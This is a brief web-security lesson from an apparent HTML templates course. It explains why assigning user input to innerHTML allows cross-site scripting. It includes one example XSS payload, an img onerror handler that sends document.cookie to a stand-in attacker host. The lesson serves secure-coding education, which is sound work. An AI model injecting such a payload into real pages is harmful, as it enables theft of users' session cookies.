Templates vs innerHTML Security
Understand why templates are safer than setting innerHTML.
innerHTML Injection Risk
Setting el.innerHTML = userInput parses the string as HTML. If userInput contains <script> or event handlers like onerror, the browser executes them — creating a Cross-Site Scripting (XSS) vulnerability.
XSS via innerHTML Example
An attacker submits a username: <img src=x onerror="fetch('https://evil.com/?c='+document.cookie)">. If this is rendered with innerHTML, the onerror fires and exfiltrates the session cookie. Text content becomes executable code.
All lessons in this course
- The template Element Inert Content
- Cloning Templates with cloneNode
- Using template with JavaScript Rendering
- Templates vs innerHTML Security